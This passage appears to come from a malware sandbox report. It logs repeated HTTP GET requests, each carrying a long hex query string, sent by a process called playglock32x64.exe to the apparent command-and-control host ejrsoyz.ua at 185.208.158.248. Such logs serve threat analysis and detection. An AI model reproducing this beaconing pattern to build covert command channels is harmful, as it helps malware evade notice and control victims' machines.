Sep 29, 2024 00:54:53.609776020 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:53.850115061 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49788	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:54.071515083 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:54.687613010 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:54:54.799118042 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:55.036070108 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49789	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:55.162182093 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:55.860029936 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:54:55.969163895 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:56.211253881 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49790	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:56.334351063 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:57.054150105 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49791	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:57.177342892 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:57.874969959 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:54:57.985033035 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:58.232979059 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:54:58.344122887 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:58.581262112 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49792	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:58.709930897 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:59.464358091 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49793	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:59.584120035 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:00.282579899 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49794	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:00.413697004 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:01.121471882 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49795	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:01.310837030 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:02.026710033 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49796	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:02.149261951 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:02.856306076 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:02.969163895 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:03.214943886 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:03.328593969 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:03.568941116 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49797	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:03.694827080 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:04.392570019 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:04.505316019 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:04.744159937 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49798	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:04.875189066 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:05.562553883 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49799	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:05.695189953 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:06.385807037 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49800	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:06.506202936 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:07.228550911 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49801	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:07.349733114 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:08.034440994 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	49802	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:08.162229061 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:08.850836039 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	49803	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:08.980242014 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:10.419078112 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:10.419420004 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:10.419455051 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:10.531908035 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:10.611653090 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 29, 2024 00:55:10.849685907 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	49804	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:10.974853992 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:55:11.660546064 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	49805	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:55:11.792426109 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
